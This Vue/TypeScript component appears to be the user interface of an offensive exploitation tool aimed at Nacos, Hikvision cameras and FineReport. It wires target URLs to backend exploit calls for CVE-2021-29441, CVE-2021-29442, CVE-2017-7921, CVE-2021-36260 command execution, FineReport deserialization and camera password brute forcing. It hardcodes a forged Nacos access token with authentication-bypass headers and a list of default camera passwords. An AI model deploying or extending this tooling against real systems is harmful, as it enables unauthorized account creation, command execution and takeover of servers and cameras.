<script setup lang="ts">
import CustomTextarea from "@/components/CustomTextarea.vue";
import { getProxy, ProcessTextAreaInput } from "@/util";
import { reactive, computed, watch } from "vue";
import * as exp from 'wailsjs/go/services/Exp';
import { Delete, DocumentCopy, Plus, Minus } from '@element-plus/icons-vue';

interface VulnerabilityForm {
    ID: string;
    Name: string;
    Command?: string,
    Username?: string;
    Password?: string;
    File?: string;
    FileName?: string;
    Headers: Map<string, string>;
    Batch: boolean;
}

const NacosDefaultHeaders = {
    "User-Agent": "Nacos-Server",
    "accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g",
    "serverIdentity": "security",
}

function convertArrayToObject(arr: { key: string; value: string; }[]): { [key: string]: string } {
    return arr.reduce((acc, item) => {
        acc[item.key] = item.value;
        return acc;
    }, {} as { [key: string]: string });
}

const expMap = [
    {
        GroupName: "Nacos",
        InputTips: "请输入Nacos主页路径, 例如 https://192.168.1.1/nacos/",
        Vulnerability: [
            {
                ID: "CVE-2021-29441",
                Name: "CVE-2021-29441 任意用户添加",
                Username: "testadmin",
                Password: "Aa123456.",
                Headers: new Map<string, string>(Object.entries(NacosDefaultHeaders)),
                Batch: false,
            },
            {
                ID: "CVE-2021-29441",
                Name: "CVE-2021-29441 任意用户删除",
                Username: "testadmin",
                Headers: new Map<string, string>(Object.entries(NacosDefaultHeaders)),
                Batch: false,
            },
            {
                ID: "CVE-2021-29442",
                Name: "Derby SQL注入",
                Headers: new Map<string, string>(Object.entries(NacosDefaultHeaders)),
                Batch: false,
            },
            // {
            //     ID: "",
            //     Name: "Derby SQL RCE",
            //     Command: "whoami",
            //     Batch: false,
            // },
        ] as VulnerabilityForm[],
    },
    {
        GroupName: "Hikvision Camera",
        InputTips: "",
        Vulnerability: [
            {
                ID: "CVE-2017-7921",
                Name: "CVE-2017-7921",
                Batch: false,
            },
            {
                ID: "CVE-2021-36260",
                Name: "CVE-2021-36260",
                Command: "whoami",
                Batch: false,
            },
            {
                ID: "",
                Name: "口令暴破",
                Username: "admin",
                Password: "hik12345\nhik12345+\nHik12345+\n12345",
                Batch: true,
            },
        ] as VulnerabilityForm[],
    },
    {
        GroupName: "FineReport",
        InputTips: "http://xxxx/webroot/decision/remote/design/channel",
        Vulnerability: [
            {
                ID: "",
                Name: "Channel Deserialize",
                Command: "whoami",
                Batch: false,
            },
        ] as VulnerabilityForm[],
    }
];

const form = reactive({
    url: "",
    headers: [] as { key: string; value: string }[],
    cmd: "",
    usernameList: "",
    passwordList: "",
    fileName: "",
    fileContent: "",
    selectGroup: expMap[0].GroupName, // 默认选择第一个分组
    selectVulnerability: expMap[0].Vulnerability[0].Name, // 默认选择第一个分组的第一个漏洞
    consoleLog: "",
});

// 计算当前分组的漏洞列表
const currentVulnerabilities = computed(() => {
    const group = expMap.find((i) => i.GroupName === form.selectGroup);
    return group ? group.Vulnerability : [];
});

// 计算当前选中的漏洞对象
const currentVulnerability = computed(() => {
    return currentVulnerabilities.value.find(
        (vul) => vul.Name === form.selectVulnerability
    );
});

// 监听组件/厂商选择，动态更新漏洞名称
watch(
    () => form.selectGroup,
    (newGroup) => {
        const group = expMap.find((i) => i.GroupName === newGroup);
        if (group) {
            form.selectVulnerability = group.Vulnerability[0].Name;
        }
    }
);

// 通用表单更新逻辑
const updateForm = () => {
    const group = expMap.find((i) => i.GroupName === form.selectGroup);
    const vul = group?.Vulnerability.find((v) => v.Name === form.selectVulnerability);
    form.headers = Array.from(vul?.Headers || new Map<string, string>()).map(([key, value]) => ({ key, value }));
    form.usernameList = vul?.Username || "";
    form.passwordList = vul?.Password || "";
    form.fileName = vul?.FileName || "";
    form.fileContent = vul?.File || "";
    form.cmd = vul?.Command || "";
};

// 监听漏洞名称选择，动态设置表单默认值
watch(
    () => form.selectVulnerability,
    updateForm
);

// 初始化表单数据
updateForm();
// TODO: 漏洞检测逻辑
async function checkVul() {
    if (!form.url) {
        form.consoleLog += "[!] 请输入目标URL！\n";
        return;
    }
    const vul = currentVulnerability.value;
    if (!vul) {
        form.consoleLog += "[!] 未找到对应的漏洞检测函数！\n";
        return;
    }
    form.consoleLog += "[*] " + vul.Name + "漏洞检测中\n"
    switch (vul.Name) {
        case "CVE-2021-29441 任意用户添加":
            form.consoleLog += await exp.CVE_2021_29441_AddUser(form.url, convertArrayToObject(form.headers), form.usernameList, form.passwordList, getProxy())
            form.consoleLog += "\n";
            break
        case "CVE-2021-29441 任意用户删除":
            form.consoleLog += await exp.CVE_2021_29441_DelUser(form.url, convertArrayToObject(form.headers), form.usernameList, getProxy())
            form.consoleLog += "\n";
            break
        case "CVE-2021-29442":
            form.consoleLog += await exp.CVE_2021_29442(form.url, convertArrayToObject(form.headers), getProxy())
            form.consoleLog += "\n";
            break
        case "CVE-2017-7921":
            form.consoleLog += await exp.CVE_2017_7921(form.url, getProxy())
            form.consoleLog += "\n";
            break
        case "CVE-2021-36260":
            form.consoleLog += await exp.CVE_2021_36260(form.url, form.cmd, getProxy())
            form.consoleLog += "\n";
            break
        case "海康摄像头口令暴破":
            form.consoleLog += "[*] 只显示登录成功的日志, 详情可通过运行日志查看\n"
            const urls = ProcessTextAreaInput(form.url)
            const passwords = ProcessTextAreaInput(form.passwordList)
            for (const url of urls) {
                let result = await exp.CameraCrackPassword(url, form.usernameList, passwords)
                form.consoleLog += result + "\n"
            }
            form.consoleLog += "[*] 弱口令检测结束！\n"
            break
        case "Channel Deserialize":
            form.consoleLog += await exp.FineReportChannelDeserialize(form.url, form.cmd, getProxy())
            form.consoleLog += "\n";
            break
        default:
            form.consoleLog += "[!] 未找到对应的漏洞检测函数！\n";
            break
    }
}
</script>

<template>
    <div style="display: flex; gap: 10px;">
        <el-form :model="form" label-width="auto" class="w-full h-full">
            <!-- 目标地址 -->
            <el-form-item label="目标地址:">
                <CustomTextarea v-model="form.url" :rows="5"
                    :placeholder="expMap.find(item => item.GroupName == form.selectGroup).InputTips" />
            </el-form-item>

            <!-- 组件/厂商选择 -->
            <el-form-item label="组件/厂商:">
                <el-select v-model="form.selectGroup" filterable>
                    <el-option v-for="item in expMap" :value="item.GroupName" :label="item.GroupName" />
                </el-select>
            </el-form-item>

            <!-- 漏洞名称选择 -->
            <el-form-item label="漏洞名称:">
                <el-select v-model="form.selectVulnerability" filterable>
                    <el-option v-for="vul in currentVulnerabilities" :value="vul.Name">
                        {{ vul.Name }}
                        <el-tag v-show="vul.Batch" style="margin-left: 3px;">
                            可批量
                        </el-tag>
                    </el-option>
                </el-select>
            </el-form-item>

            <el-form-item v-if="currentVulnerability?.Headers" label="请求头:">
                <div v-for="(header, index) in form.headers" :key="index"
                    style="display: flex; align-items: center; margin-bottom: 8px; width: 100%;">
                    <el-input v-model="header.key" placeholder="Key" style="flex: 1; margin-right: 8px;" />
                    <el-input v-model="header.value" placeholder="Value" style="flex: 1; margin-right: 8px;" />
                    <el-button :icon="Plus" size="small" circle
                        @click="form.headers.push({ key: '', value: '' })" />
                    <el-button :icon="Minus" size="small" circle @click="form.headers.splice(index, 1)" />
                </div>
            </el-form-item>

            <!-- 用户名 -->
            <el-form-item v-if="currentVulnerability?.Username" label="用户名:">
                <el-input v-model="form.usernameList" />
            </el-form-item>

            <!-- 密码 -->
            <el-form-item v-if="currentVulnerability?.Password" label="密码:">
                <CustomTextarea v-model="form.passwordList" :rows="5" />
            </el-form-item>

            <!-- 命令 -->
            <el-form-item v-if="currentVulnerability?.Command" label="命令:">
                <el-input v-model="form.cmd" />
            </el-form-item>

            <!-- 文件名称 -->
            <el-form-item v-if="currentVulnerability?.FileName" label="文件名称:">
                <el-input v-model="form.fileName" />
            </el-form-item>

            <!-- 文件内容 -->
            <el-form-item v-if="currentVulnerability?.File" label="文件内容:">
                <CustomTextarea v-model="form.fileContent" :rows="5" />
            </el-form-item>

            <!-- 提交按钮 -->
            <el-form-item class="float-right">
                <el-button type="primary" @click="checkVul">检测</el-button>
            </el-form-item>
        </el-form>

        <el-card shadow="never" class="w-full">
            <template #header>
                <div class="card-header">
                    <span>Console</span>
                    <el-space>
                        <el-button :icon="DocumentCopy" link @click="" />
                        <el-button :icon="Delete" link @click="form.consoleLog = ''" />
                    </el-space>
                </div>
            </template>
            <highlightjs :code="form.consoleLog"
                style="height: calc(100vh - 160px);"></highlightjs>
        </el-card>
    </div>
</template>

<style scoped></style>